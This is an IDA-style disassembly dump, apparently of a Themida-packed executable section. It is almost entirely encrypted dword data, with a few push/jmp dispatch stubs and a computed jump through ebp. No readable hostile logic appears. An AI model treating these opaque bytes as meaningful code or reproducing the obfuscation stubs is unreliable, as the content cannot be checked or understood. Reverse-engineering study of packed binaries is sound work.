dd 0FBD82A91h, 0B08DDFDAh, 0B449627h, 0E9D403ADh, 0A217BA97h
dd 5A657350h, 10AB2B08h, 242AB2BEh, 580C553Eh, 12F05752h
dd 0D30138C4h, 966F0AE2h, 0D84652FEh, 5FDAE028h, 8D57E5A5h
dd 0F4351365h, 8C000001h, 6AD865D1h, 2D787EC6h, 0FB57E501h
dd 0BCDE32D3h, 0C6AAE118h, 33DFDEF9h, 76438EDBh, 394372CAh
dd 13DB23CBh, 42F9270Dh, 0D2543B4Dh, 0CDC49347h, 171D4CE4h
dd 36265E11h, 38E40C53h, 0CA12BE2Ch, 4BA6F7C4h, 0A8E2C959h
dd 4261798Dh, 975FA73Fh, 128E71C0h, 0F625F485h, 7ED0EBEBh
dd 0A88635A1h, 3D42B25Bh, 0ADA8B6A0h, 8A000002h, 3E1B6D52h
dd 0F9D62895h, 0B390E2D9h, 68459722h, 0C3FC4E6Fh, 0A11CBBF5h
dd 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h, 0DCE26A76h, 580C55F6h
dd 17A80F0Ah, 5A7A8940h, 1A16CC55h, 943F962Ah, 0F2FD2CF9h
dd 0C28FD7E4h, 765DAA0Fh, 0A2AE1847h, 77448C34h, 0C1A7AD60h
dd 0D551F24Fh, 0E0E615ADh, 0E57103DAh, 93A07757h, 39447474h
dd 89B13564h, 5B647441h, 93FE1C2Ch, 73963B08h, 6DE876Dh
dd 0DB739B58h, 8C34A2ACh, 0F8F33E44h, 0E4C15DF9h, 1522CEEFh
dd 0CB63FBC2h, 853D142Ah, 2D805CB8h, 0D4ADF120h, 3CEABDACh
dd 2958636Fh, 0C50DB11Fh, 0F0A80CBFh, 6A7038F2h, 0F311A884h
dd 0BD417098h, 14E1E995h, 0F64EFAC3h, 0A7C2A8AEh, 0AED6F311h
dd 0A207757Fh, 0A6EE8633h, 0D89907DEh, 405C6078h, 1172D4BAh
dd 91C0E8F3h, 0F3B8858Bh, 628AF905h, 664C521Ah, 7AF928F3h
dd 551D2352h, 0F2A1878Dh, 0A32EF928h, 4C126A16h, 0ECEAF524h
dd 9CB087CFh, 6EF845BFh, 21F28799h, 0E97749CAh, 9CDAABAh
dd 6839D4B2h, 0ECD69D87h, 183DEh, 9728B400h, 526B6845h
dd 0CAF2300h, 0C1F8DDBAh, 7845926Fh, 0E5CBED26h, 9C79CBF2h
dd 55328435h, 0DEA3C83h, 94A0F2C9h, 5720060Ch, 3934580Ch
dd 0F7C412D2h, 2DD13F4Bh, 82501DE5h, 0C06C4D84h, 0CC24D068h
dd 0EBC6599Dh, 0E5B257E5h, 0FFBE19EDh, 0B763FB53h, 84AC305Fh
dd 55686F3Ch, 175D1626h, 8603FD40h, 3463094Fh, 0CC14BC2Ah
dd 0EC5932C6h, 12C5A257h, 2FDBE0F6h, 5FA73FD7h, 0A9B84492h
dd 4F94A62h, 926FC159h, 0BFCB7744h, 8E65AD51h, 2DE75F3Ah
dd 8E94C354h, 7060688h, 0E22A525Eh, 0CDFCC315h, 0DFDCFAC7h
dd 0E3C9CF97h, 0F75E27E4h, 0B390A0CFh, 0E0EC9823h, 0DBB70F72h
dd 18AF886Eh, 1BB306CBh, 0EECB06D3h, 54B3B9BFh, 4A641A8Dh
dd 0D7D34422h, 66503275h, 0A758h, 734C9000h, 2E8F4421h
dd 0E8D3FFDCh, 9D1CB996h, 54696E4Bh, 0C1EFC902h, 7855A716h
dd 310E6059h, 0E9C618A7h, 707CCEEDh, 57FCE2E8h, 1510580Ch
dd 8B4A17AEh, 0FB2A822Eh, 93DB83F1h, 17FD03CBh, 2B51F1E8h
dd 0E8674D53h, 537B51F1h, 0BA488CBBh, 0E57EB73h, 6B17A631h
dd 66337B13h, 0B721506Dh, 3D8F2CAAh, 99457660h, 85881253h
dd 0CA88EC06h, 0C517A432h, 0FF716EDh, 0A72E072Ch, 52696D78h
dd 0BC42330Ah, 0BEF12E23h, 0BD18258Fh, 59FB50FCh, 0E8D30339h
dd 0E0F1BE96h, 0A6D52DD9h, 0D4803B9Bh, 3C6h, 7DE41D00h
dd 49F5CA12h, 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h
dd 2CD8E5F2h, 5703B61Fh, 8733884Ah, 0B864597Ah, 4EC8333h
dd 89243C89h, 4C781E7h, 83000000h, 3C8704EFh, 91685C24h
dd 8900004Dh, 0BB68242Ch, 89000020h, 0EC81240Ch, 4, 0BA241489h
dd 61A6B11h, 545AD589h, 83240C8Bh, 895304C4h, 418F53EBh
dd 0C8B5B08h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
dd 242C8B5Ch, 81E28952h, 4C2h, 4C28100h, 87000000h, 0E95C2414h
dd 0FFFA0C63h, 8639CC3h, 714AB850h, 0C503061Ah, 0C0F9E0FFh
dd 0AE2A63FEh, 562143E6h, 8C7069C2h, 9F161AEBh, 69D23C81h
dd 1877059Dh, 0E8D64C8Ah, 6E954FE5h, 59815E5Eh, 1B072074h
dd 0C52B7B0Ah, 8953578Eh, 95C7468Bh, 0BE9014FFh, 0AE85D63h
dd 84000000h, 1B585DAAh, 268C4EE8h, 0F7816688h, 0F95ADBBDh
dd 5ED8C281h, 0A0B80000h, 6867C4B3h, 1798h, 4DDF081h, 815E17D2h
dd 3FCF61F7h, 0E932FF2Bh, 0Eh, 0D6AB66D8h, 0DA736421h
dd 4F3FDBAFh, 805B9D8Dh, 0F3813BEDh, 0D7BDEF3h, 0B1D8B966h
dd 7240F381h, 0EB8117C7h, 1470DE27h, 0CE9h, 2DB54F00h
dd 232BF7B6h, 0AC7E0AF0h, 0FC1A892Ah, 0F504EA83h, 0B2850F4Eh
dd 0E9FFFFFFh, 24h, 3B2D332Ah, 8 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5B03ED
; ---------------------------------------------------------------------------
push 61A73CEh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 61A7459h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 61A75F4h
jmp loc_5509FF
; ---------------------------------------------------------------------------
db 0E6h
dd 9A77C9F6h, 55328439h, 0FEC3E7Dh, 0C4A1F3C6h, 1F58AA13h
dd 0FDC01799h, 0B603CEABh, 6E518764h, 24973F1Ch, 383EC6D2h
dd 580C5A52h, 12046B66h, 444CF8C5h, 2F5E6177h, 5359B224h
dd 51F1E86Dh, 6FC15981h, 31792593h, 4EA89269h, 4D6E5379h
dd 5D19FF05h, 52D51F2h, 91D392D6h, 618957E5h, 708D6FB5h
dd 76985806h, 68A6BFD4h, 0EBB8F8D9h, 33191FEAh, 4758067Dh
dd 0F258871Fh, 34Bh, 874A1709h, 0E7967C82h, 82AA51F1h
dd 0B7E63EEAh, 0FA68056Bh, 0BD080E56h, 8B57E501h, 36EC263h
dd 8FB52868h, 68DBC1C7h, 17EF556Bh, 6B692B11h, 7F173F55h
dd 694B3137h, 375F556Bh, 0E090FE08h, 0B508CB98h, 7C82B109h
dd 5E994F76h, 11BDE55Bh, 9FE79705h, 72B4A499h, 50875461h
dd 92BA3E6Dh, 62597D4Ah, 36854D1Ah, 0BC1AF707h, 98A521FFh
dd 0F2DC351Dh, 383E4h, 0C3FCE000h, 7E3F9471h, 38834F2Ch
dd 0EDCC09E6h, 0A419BE9Bh, 119F1952h, 0C8A5F7C6h, 815EB009h
dd 39166857h, 0C0CC1E9Dh, 5B4C3238h, 6560580Ch, 494F17FEh
dd 51F1E863h, 813E9A77h, 0B6E57DD5h, 15E23EACh, 9076FCC3h
dd 0A451F1E7h, 18A32F7Ch, 0BF323880h
dword_5B0000 dd 6B57EB7Bh, 0DB87349Eh, 0F3D05483h, 0FC44DCDFh, 4D706734h
; DATA XREF: Themida_:00549FFCo
dd 0F1A49A1h, 0C6A3F5C8h, 0BA00AC11h, 580C5AD9h, 4B8C7A5Ch
dd 0D66EC672h, 0A4F2D8F8h, 0C5D3BD3Eh, 2F8h, 0FC4E716Bh
dd 0B709B41Fh, 71C3F8DAh, 26784194h, 0DD2F8E49h, 3B9C14A4h
dd 7E533082h, 0CC0CE93Bh, 12C4A1F3h, 0C34B57A9h, 0C5BD7BDh
dd 89F0EB58h, 2E8B4A17h, 8E747A82h, 0A251F1E7h, 0A9B3E27Ah
dd 834B933Bh, 0B74DE4BBh, 0C2483E1Eh, 0F28F563Ch, 0F5426A51h
dd 6CB0DFDEh, 57EC22F9h, 4B53FF27h, 29AE587Eh, 0F850FC94h
dd 1A385C9h, 8CAE580Dh, 0D390D5CEh, 0CC6EF8D2h, 66000001h
dd 964B4F8Fh, 0E6155F9Dh, 0F7C412FFh, 64983E4Bh, 1E27FA46h
dd 0E610F70Fh, 57653990h, 0FDD92BC3h, 12A72A8Fh, 225B327Ah
dd 9D9903DFh, 0ECF2F827h, 57E5A359h, 0ADF39FC7h, 580682CBh
dd 9E3300D6h, 0E8176F1Bh, 6E45F496h, 30522E91h, 1581B0F6h
dd 0F8D97850h, 32AEh, 0FED9A600h, 56EECB0Ah, 0A5134027h
dd 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh, 0C5580602h, 8A52E7A3h
dd 6029E84h, 5B8AB258h, 0D9D676EFh, 0DF88F8h, 179F0000h
dd 0E863494Fh, 4F7751F1h, 0FAC11520h, 5A79464Eh, 0AE293463h
dd 8056630Fh, 0B026F33Bh, 6A72DC0Bh, 0DB87369Dh, 8D495483h
dd 6C6DC2Eh, 4C51F1EDh, 47A6AA75h, 67B4F01Ch, 4CA4506Bh
dd 42C4121Dh, 5F5A7791h, 2BC31BC7h, 0BD16E3h, 0BDCDFC54h
dd 83CB73E1h, 0E72BE47Dh, 0D8FFCC57h, 0A32B6E5h, 2C32FAC2h
dd 58090B46h, 65547D5Ah, 44939ECDh, 0ADDC3C9h, 0C9F15809h
dd 3F07DF31h, 90B5339h, 103F6758h, 0DEBD205h, 3EA842CDh
dd 5DE4F2DCh, 6000001h, 0BA97E9D6h, 7552A419h, 2F0C5E5Dh
dd 0E4C113A6h, 3F78CAF3h, 1DA03779h, 0D6E3EECBh, 8E31A784h
dd 44775F3Ch, 585EE6F2h, 580C5D72h, 12248B86h, 55DC39C5h
dd 0C1B13F9Dh, 0BE14E129h, 0ACF951FDh, 5262912Ah, 85A6175h
dd 42C4124Fh, 1AD02794h, 2551CBCDh, 470F57EFh, 0F2A35B41h
dd 18476F51h, 8635A1AEh, 46EA5834h, 0F8DF8FEh, 511957E6h
dd 6F1654Bh, 22517958h, 612E769Eh, 429A4675h, 97400D13h
dd 2FFCD426h, 0A4E817A2h, 5806F0C2h, 0DA2C8F47h, 37E3DAFDh
dd 0BF29h, 44946100h, 0F0DFC5CBh, 0CBF35806h, 131D0433h
dd 0E9B1F9A5h, 1608D512h, 62911611h, 0EC709F1Eh, 0F7FDD557h
dd 580D5011h, 0B965FD25h, 0D866DAB1h, 0ADA3DC43h, 0DE3406ADh
dd 87B64E07h, 0F615A7Ch, 506D6A37h, 121D4CA4h, 434BF7C4h
dd 0C38F757Bh, 7BA3580Dh, 2E99084Ch, 5BBF72E2h, 3C420A3Fh
dd 95451056h, 813426Ah, 0D8A5EDCEh, 8393C2FBh, 438B30A6h
dd 0F8F757Bh, 7BA39545h, 3DAE24Ch, 83612F80h, 0E3EE1DF0h
dd 0B27FC7F2h, 0FD679623h, 0B04406A8h, 0C5F6E026h, 0E129C119h
dd 0C458270Ah, 0E41362B3h, 2E34FCD4h, 95456A48h, 0FA05345Ch
dd 0CA97DFDCh, 1680AF0Ch, 308h, 7DE45F00h, 49F5CA12h, 75219A3Ch
dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh
dd 8733884Ah, 0B864597Ah, 4EC8333h, 55242489h, 4BDh, 246C0100h
dd 89525D04h, 4C281E2h, 83000000h, 148704EAh, 34895C24h
dd 0E1895124h, 4C181h, 0E9830000h, 240C8704h, 242C895Ch
dd 43ECBF57h, 38BE372Ch, 31313631h, 243C8BFEh, 8104C483h
dd 4ECh, 24248900h, 4240481h, 5D000000h, 59BB5356h, 2933A40Fh
dd 5B04245Ch, 8108458Fh, 0F590845h, 34FF33A4h, 0C4815D24h
dd 4, 5E2434FFh, 4C481h, 20E90000h, 49FFFA06h, 335ACC31h
dd 0E759251Bh, 41FCBC5Ah
; ---------------------------------------------------------------------------
pop es
loc_5B03ED: ; CODE XREF: Themida_:005AFE90j
mov eax, 61A7776h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 28D6h
dd 2ED5069Ch, 32AA0E59h, 93640680h, 0A7426C7Fh, 0FA453796h
dd 0FE160544h, 269D244Bh, 0F4044BD2h, 0C5001476h, 5F666771h
dd 28830905h, 0C4264F09h, 9E757334h, 1D657C8Fh, 541C3150h
dd 5E85C0Eh, 2000000h, 4E564F22h, 0CE9h, 4C6C6100h, 1694C375h
dd 0F99B098Eh, 0E9805883h, 4CC081E2h, 66000068h, 0FF2BCA8Bh
dd 8BCE8B66h, 820F381Ch, 3, 81D38B66h, 0B145BBC3h, 0ABC3814Eh
dd 805B6F21h, 0F3818CF2h, 2D7E4F15h, 0E0B953FCh, 8F6337EDh
dd 0F08A3804h, 0F60CEF81h, 0D28104F9h, 21149F7Ah, 0F608C781h
dd 0BA6604F9h, 0FF81053Dh, 0FFFF985Ch, 26850Fh, 0BE90000h
dd 1F000000h, 838CA18Ch, 1BA6E3C4h, 20E9696Eh, 80000000h
dd 90AC6CC1h, 412A9947h, 9BE009A5h, 61928106h, 0E9D18B66h
dd 0FFFFFF83h, 8660A79Eh, 53DFF07Eh, 5DB17DC7h, 0AEB121BFh
dd 3FA82556h, 0FF39AC0Bh, 0A0ABA5B4h, 594C7B77h, 7889F62Ch
dd 0B8F73256h, 95B13256h, 269DB727h, 0BED13256h, 0ABB13242h
dd 868CD0DCh, 88DAB347h, 0F250DC53h, 38580CEFh, 3856C8E9h
dd 0FC48E5D7h, 7FD02E9Eh, 0ABB37464h, 0DF393256h, 480C9B0h
dd 75CA9303h, 0BAB1CB56h, 5DA2BE59h, 28BE3256h, 57B1325Bh
dd 0ABB13ABFh, 88EF4356h, 70349D32h, 9CB1323Ch, 0BAB13258h
dd 0C3171E2Dh, 95F25B55h, 96EBF8B0h, 0ABB1ED50h, 0C063D36h
dd 0EAD0E4DDh, 6F0AC756h, 2A7B320Ch, 53580AC9h, 0CB13256h
dd 62D683E5h, 311CCDD5h, 95BAE0D4h, 0EAB15399h, 1461B936h
dd 0BAEAC1CBh, 0E8B13256h, 0C82BBB0Bh, 0B3141853h, 9E215877h
dd 3C987390h, 3AF035Dh, 75B1325Bh, 8FF5C59Fh, 3DBDC894h
dd 0DBB872A3h, 0BEB13288h, 0ABB13247h, 0C337FA59h, 0F6C577CEh
dd 53560765h, 957DA677h, 3DB132DAh, 0EC998930h, 58B13237h
dd 0ABB12ADEh, 0D5A2DB56h, 3BE33256h, 22DE573h, 0EAF41E26h
dd 62B95AA8h, 0A80FEDC4h, 0ABB132D8h, 0CB4D3256h, 0D5B134BFh
dd 95BACD56h, 0F5A52902h, 0BAD02F93h, 5DA2DB56h, 40953256h
dd 0FD93CD84h, 0C9A44A5Dh, 690DA8E9h, 9BC00EA8h, 89B1323Ah
dd 0BF583256h, 6CB13256h, 0B97C2423h, 0BFD13256h, 0ABB1325Fh
dd 0B74C2C40h, 60ED4701h, 73586A27h, 3B13256h, 0A9B318C6h
dd 0AEB153E4h, 0BEB132AAh, 0ABB13242h, 233B1956h, 16B7FE0Bh
dd 1958F2A5h, 4ADAAD42h, 141906F4h, 0AE4D3256h, 51595256h
dd 1B13256h, 449EF5BEh, 0EA333D01h, 2CB13256h, 0BAA5BB59h
dd 53593256h, 0EBB13256h, 3CD9F54Dh, 0A61111CDh, 188E5BF1h
dd 0EAD06CF0h, 64585256h, 0EB13256h, 591F25EBh, 7687F0Dh
dd 8930A8B4h, 83288775h, 0D5B13DBEh, 2DAE556h, 40FB6BE8h
dd 765C3B3Eh, 9AD0A2E0h, 765EB330h, 57D06B87h, 0ABB1CB56h
dd 0D5ADB559h, 53D13256h, 4F2637AEh, 0BAB122BFh, 0E40C7C56h
dd 986C8B62h, 50A0D3C6h, 115B986Dh, 0D5B1535Ah, 0EAB13DBFh
dd 0CE5B8756h, 0E656C9CAh, 7F50910Ah, 0EA5D353Ah, 5F583256h
dd 55B13256h, 8238823Fh, 0EA4D6694h, 62303D56h, 53B13256h
dd 5DB13244h, 8057A588h, 46FC1160h, 0CF95FE6Dh, 51694542h
dd 0EAB15259h, 75B8B759h, 0D13256h, 37EAE76Fh, 0AED05336h
dd 5D343D56h, 0CBB13256h, 0D5B1B659h, 0B4E73256h, 75B13037h
dd 0BAB13256h, 0D46F5522h, 845EC6D3h, 5741E111h, 0AA3C3D56h
dd 29B13256h, 0EAB83581h, 75BD3255h, 0BAB23254h, 5E293276h
dd 86D4DBD7h, 57B1CA37h, 0CBB132AEh, 0D5B153AEh, 98958836h
dd 1448549Ch, 0BA493256h, 5DB1CE56h, 0AEB13ABFh, 0E5AB7056h
dd 16BA0729h, 9FB13202h, 66BE3254h, 75B1325Bh, 82A78936h
dd 9E3070A0h, 0DA9A31E7h, 1DB13237h, 0ABB13254h, 2EEA9844h
dd 8C820502h, 0D5819E5Ah, 0BAB10086h, 5DA4B659h, 0BE583256h
dd 46B13256h, 2C5958FFh, 93C6E10h, 0D015237Ah, 0E52DF99Eh
dd 20B48C36h, 50594E63h, 2FB13256h, 0EAA55570h, 123131E4h
dd 0A01D6DA8h, 8BE8E4DDh, 15E36206h, 0BAA5DBCAh, 0B86D3256h
dd 0CF7959ECh, 0CAC575D0h, 3251D144h, 80BD0D08h, 3430693Ch
dd 310FA060h, 0BAB13EBFh, 9FBC9656h, 0A0B82285h, 4D740E79h
dd 0A058AF1Dh, 0F2B13256h, 29C34F82h, 6A0F4B16h, 0B5D0073Ah
dd 5DB7DB67h, 0B9273256h, 0E493DF52h, 0B2216A0Ch, 3D8D88h
dd 0E52CE9BCh, 0E6D0FDE1h, 0DB438559h, 555FB3C6h, 479F718Ch
dd 57B13250h, 7605B590h, 0B42C1104h, 3E16A0Ch, 75B13242h
dd 211BA71Ah, 2AC7236Eh, 0BDB37FB2h, 38FF7B06h, 20EB372Ah
dd 0D5B132C0h, 33911104h, 0E0FD4DC8h, 0AB89A9FCh, 10554520h
dd 2FD72154h, 0BEAB7CB0h, 0ABB13242h, 5EEB372Ah, 8D97B33Eh
dd 76038F42h, 0E54F8BD6h, 26BB47FAh, 8E68ACBh, 0FD06FABh
dd 907B073Ah, 0C227830Eh, 5993DF52h, 75A2DBCAh, 26BE3256h
dd 0D59A48F3h, 9AB67477h, 0F712E00Bh, 674E2C0Fh, 4305443h
dd 0EC58B5EEh, 83B13256h, 387C56A1h, 7D0AFC5h, 0A1B16A0Eh
dd 57B13ADAh, 0A93C3D56h, 0B5B13256h, 61D75237h, 75B1538Fh
dd 0BAB137BFh, 413B1B56h, 0AEB129DFh, 57BAB859h, 0CDD13256h
dd 0F3E2FCD7h, 86738830h, 7AB13237h, 0BAB135DAh, 5C3C3D56h
dd 56B13256h, 0BE4D3256h, 0ABB13246h, 0EC680FB6h, 0A2D814C9h
dd 0C8D44ED7h, 7195AC8h, 5D483256h, 0A2313D56h, 0BEB13256h
dd 0ABB13251h, 1BD72742h, 0E5F186E7h, 75B133D0h, 0BAB1CB56h
dd 5DBFB659h, 0A7583256h, 71B13256h, 0C57AD096h, 63FAF34Fh
dd 62BE3256h, 75B13258h, 0C26EB336h, 0DCF6BBB9h, 5DAD5485h
dd 57B1533Eh, 0ABB13FBFh, 16969C56h, 9C61D698h, 0B920B03h
dd 0BAB1EFDDh, 5DA7B259h, 2BBE3256h, 57B13246h, 0ABB139BFh
dd 0FF1EF156h, 87C70AD1h, 0ADBFE7C4h, 536DB836h, 5DB1325Fh
dd 0C402DFB0h, 3CA3228Ch, 0ABB153F3h, 0D5B13BBFh, 0FC274C56h
dd 0DC3C91BEh, 0BAB15C48h, 5DBADB36h, 78B73256h, 0D9502500h
dd 530140F4h, 0D33F3DE4h, 0E5B13256h, 75B132D5h, 0BAB15356h
dd 0B4B132A3h, 0AEB13245h, 0E615F4Ah, 0C04F97B2h, 0E26503F7h
dd 83CA06E5h, 9C96B4DDh, 0BAB1325Fh, 4295973Ch, 8923A57Ch
dd 0BEB132A1h, 0ABB1325Fh, 71C682E1h, 69687506h, 89B13255h
dd 0BAB122BFh, 0C23FA656h, 5C76E773h, 3DC246C4h, 8377F84Ch
dd 0B5B132DFh, 34AB930h, 75B13251h, 34A89787h, 3C2A69DCh
dd 47B132AEh, 57B1325Bh, 6904F028h, 0D3996F2Ch, 0F2B78216h
dd 9CB132B5h, 0BAB1325Ah, 0CA6EB3ABh, 10A7B6A7h, 85FE4CA9h
dd 0ABB0B159h, 0D5493256h, 5CD15256h, 75393D64h, 0DBB13256h
dd 52B13237h, 0AEB133D1h, 5E58CB56h, 0FCB13256h, 0E931E351h
dd 0B8DD4DC5h, 7F583256h, 0FBB13256h, 7DE20448h, 0C287DDDh
dd 58B132D5h, 0ABB122DBh, 0D5BADB56h, 0D88B3256h, 5A244EC7h
dd 9BF3DA29h, 0B4B132CEh, 0AEB13245h, 7D0AEA02h, 0D1B0F2CDh
dd 0DD5F084Ch, 0B2F26AA3h, 7587AA47h, 0BABADB56h, 0E7073256h
dd 22EC0496h, 29CA61C9h, 42B132C5h, 0D5B1325Eh, 6C084DD0h
dd 7F7A1CE3h, 0BC583256h, 2EB13256h, 336B9BF7h, 0AFB132F6h
dd 0AB483256h, 0C1313D56h, 0E5B13256h, 75B13CD3h, 0BAB8DB56h
dd 67BD3256h, 5C1AD0B6h, 573ADFD8h, 0A158CB56h, 0E7B13256h
dd 1DDA86C4h, 0F570FE10h, 0B5B1321Ah, 5DB121DCh, 0A3323D56h
dd 0BEB13256h, 0ABB1325Eh, 58F0F084h, 0DAA91FB9h, 7AD13256h
dd 0BAB130D2h, 0D67AB956h, 0AEB15391h, 57B6B359h, 29BE3256h
dd 0D5B13257h, 61D152A3h, 75303D9Ch, 0DBB13256h, 0CA038DE8h
dd 0AEB15322h, 57A5B859h, 0A4583256h, 97B13256h, 130B8B1Dh
dd 60E1509Ah, 6B0F02DCh, 5D48204Fh, 0B2373D56h, 37B13256h
dd 43678559h, 0D5B13247h, 0FC322405h, 5DBB70A5h, 0BD3EF82Bh
dd 7529F18Fh, 0AED06BADh, 57B4DB56h, 0F6DD3256h, 0D54597ECh
dd 0EABBDB56h, 7DA93256h, 0D55CD899h, 39C9760Ah, 0AEB135BFh
dd 0BB1F3D56h, 0B3E7734Bh, 0C6583256h, 0DBB13256h, 0B63EF41Dh
dd 0FC3DDC60h, 0C305650Dh, 5F025097h, 57B17A9Eh, 0ABAFBD59h
dd 3CD13256h, 0EAB13242h, 145FB79Dh, 0F5AE1DE3h, 0A52AB0BBh
dd 4B0FEE21h, 0E9CAA10Eh, 0CA688559h, 5F3A8236h, 0EAB153AAh
dd 89B132A3h, 38BE3256h, 5DB13243h, 0AEBEB459h, 5D583256h
dd 9EB13256h, 0F594E25Fh, 92BEBE3Bh, 9CB1325Fh, 0BAB13244h
dd 0A7699FF3h, 2463293Ch, 0F673C0C1h, 8B225DBCh, 0D5B1869Dh
dd 0EAB134BFh, 471A9056h, 0BAE2C96Eh, 5A3F3D56h, 0CEB13256h
dd 37718559h, 0ABB15337h, 0D5B8DBA3h, 3FE73256h, 0D55CA77Ch
dd 0BA3757A1h, 0E5D75256h, 0AED04601h, 0EFD75256h, 23BE6138h
dd 0D5B1325Dh, 0EAB134BFh, 258C1356h, 0DB908A50h, 3BD13256h
dd 4030CBDDh, 3C122121h, 5A305237h, 0FE610979h, 0E5B13237h
dd 75B133D1h, 35BECA56h, 5DB13257h, 5BB132AEh, 57BAB759h
dd 0CDD13256h, 5FBEF9DDh, 0EAB13256h, 7AB13237h, 0BAB124D0h
dd 4D363D56h, 47B13256h, 57B1325Dh, 8C768231h, 0EB328C84h
dd 0EAF7A625h, 723C3D56h, 0B5B13256h, 5DB133DCh, 0AEB1CA56h
dd 57B4B759h, 0A4D13256h, 0D5D0C1E9h, 0A6035256h, 75B122BFh
dd 5B1E7256h, 0FAA9C8A0h, 2927F39Ch, 0D347D102h, 0ABB153CBh
dd 0D5B13EBFh, 0B305EA56h, 6C70E566h, 0FECD18B4h, 3DB1324Eh
dd 4B5AB330h, 1158B35Dh, 0CAF363CBh, 0B3D13256h, 8C4B9EEDh
dd 14CDE6EDh, 0BA493256h, 48303D56h, 47B13256h, 57B13246h
dd 975DAD69h, 282F0A89h, 0E9AC54B4h, 0EA09D6A0h, 0BA493256h
dd 5DB1CB56h, 0AEBABD59h, 31D13256h, 4930E3DDh, 0E0B2460Dh
dd 53D15237h, 1CEE877Ah, 0BAB1B059h, 52D03256h, 0AEB13FD2h
dd 57B9DB56h, 1C553256h, 12780AC6h, 0EAD062A0h, 64323D56h
dd 53B13256h, 5DB1325Ah, 337115B3h, 1D0D7AC8h, 8F0E5EECh
dd 5ABE3256h, 0EAB1325Eh, 75B3BE59h, 0DBD13256h, 54583256h
dd 5B13256h, 31C914AAh, 4571F09Dh, 5CBE3256h, 0EAB13257h
dd 7AB132AEh, 0BAB124DEh, 5DA0DB56h, 29623256h, 259DD55Dh
dd 0E41C20BCh, 38664EDDh, 0EA8CA14Ch, 75B1CE56h, 46B132AAh
dd 0D9BE3256h, 0AEB1324Bh, 57A6B259h, 0B9583256h, 3FB13256h
dd 77BFB225h, 19FBF49Ah, 0E8EBB739h, 17619A93h, 0A1B13220h
dd 57B13CD1h, 2CBE5256h, 0D5B13256h, 0EAB1B059h, 75D03256h
dd 0BD353D56h, 52B13256h, 0AEB133D5h, 57B1C756h, 0ABB123BFh
dd 3F6A2E56h, 0C2F32B37h, 7E956333h, 8EFBCC74h, 0D6BED8E6h
dd 0AEB13257h, 0BEB132A3h, 0ABB13242h, 5E85B1EAh, 0C57A1B35h
dd 0CF49DA03h, 0DE032364h, 2532529Ch, 47D13256h, 57B13246h
dd 48813772h, 0C82BE4A4h, 0CB950579h, 700A8B7Ch, 0DB4E8D59h
dd 0D3BE3256h, 0AEB1325Eh, 57B3B359h, 0CAD13256h, 0C5583256h
dd 5EB13256h, 293A5D04h, 0BF5D8416h, 0F52A605Eh, 5656C280h
dd 0DBBE3256h, 0ABB1325Ah, 0D5B135BFh, 901A9856h, 47A080DAh
dd 0BA483256h, 5DB1C756h, 5BB132A3h, 57A3DB36h, 4DE63256h
dd 0D54B7C38h, 774AF0EAh, 275CEDC1h, 23D9D798h, 0F3018930h
dd 52B13237h, 57BDB259h, 29BE3256h, 0D5B13250h, 0EAB1BD59h
dd 75B13256h, 43B132AFh, 0A5B132A3h, 28BE3256h, 57B13247h
dd 0ABB13EBFh, 0C189A756h, 939E0DADh, 0FE589B68h, 53B13250h
dd 5DB13244h, 0AA01E8Ah, 0CB7AFA6Ch, 1C63647Dh, 4F4D6D68h
dd 0EAB1390Dh, 75B8B459h, 2D13256h, 37E98C3Dh, 52D05336h
dd 5B583256h, 5FB13256h, 959A1457h, 1047D3F9h, 757B954Eh
dd 0BABDDB56h, 0C91F3256h, 3A03D345h, 0A26DB651h, 0ABB16CF2h
dd 0D5BDB859h, 0ED583256h, 22B13256h, 1F5F7353h, 5DB10DF6h
dd 0AEB134BFh, 0D759FF56h, 0A4C8F7FBh, 0D5B133D8h, 0EAB1CE56h
dd 75B137BFh, 65BCDA56h, 5DB1DBD5h, 0AEB123BFh, 7F2D2856h
dd 0E13547D9h, 0BA769A24h, 870CA820h, 75B19E11h, 0BAB0B459h
dd 5D483256h, 0AEA3DB56h, 0F41D3256h, 0F0CE6AA7h, 0BAE54128h
dd 2394390Bh, 0BC75A37Ch, 0B5D13256h, 5DB12ADBh, 0AEA3DA56h
dd 0BA983256h, 960C58BAh, 44C6A182h, 0AAE48559h, 0F7AA087Fh
dd 0BABFDB08h, 76703256h, 439BEF53h, 736786F9h, 193AB700h
dd 3CB13237h, 0EAB13253h, 1BB4D054h, 43B13265h, 5D493256h
dd 0AEB1CE56h, 0E752B236h, 0A4B13237h, 0D5B122D2h, 0E03D3D56h
dd 9CB13256h, 0BAB13253h, 5786103h, 47B132B1h, 57B13246h
dd 9EEB67Eh, 33634DCFh, 7C1887E5h, 2D37E089h, 0DAD13256h
dd 5DB1B159h, 45313256h, 8A315397h, 0ABB15309h, 0D5B6BF59h
dd 61BE3256h, 75B13257h, 0BAB9DBAAh, 4F573256h, 85F76EC7h
dd 57B177F6h, 0A4B132AFh, 0D5B139D9h, 0EAB7DB56h, 0A7A33256h
dd 0F900856Dh, 56583256h, 76B13256h, 4ECE14CBh, 9B3086D6h
dd 0D5B1D279h, 0E5B132AFh, 75B135D9h, 0BB363D56h, 0A4B13256h
dd 0BC583256h, 12B13256h, 4B9925C1h, 0E1A0EE96h, 1F2A3707h
dd 210BD0DFh, 0DAB13282h, 5DB13CBEh, 0DF11E556h, 3B94F6BBh
dd 0ACCFB5C6h, 0B325A908h, 8BEEF5DDh, 13D13256h, 7B31EADDh
dd 5DB153F1h, 0AEB134BFh, 4B8D0956h, 0A4EE832Dh, 0D5B133D3h
dd 0EAB1CB56h, 0AC0E3D36h, 0BAB139BFh, 0DD6C7956h, 0C9F34C1Eh
dd 0F066541Ah, 52B13237h, 58BE3256h, 0EAB13257h, 65373DAFh
dd 53B13256h, 5DB1325Dh, 207EFE62h, 0F8538E76h, 0ABB89EE5h
dd 0C6383D56h, 3B13256h, 75B13258h, 0A189E087h, 0A76319DEh
dd 0C94A2EEAh, 57B10379h, 0ABB6DA36h, 0E52D3256h, 0B4B3D666h
dd 75333DFEh, 0E4B13256h, 52D064E6h, 0AEB124D3h, 57A0DB56h
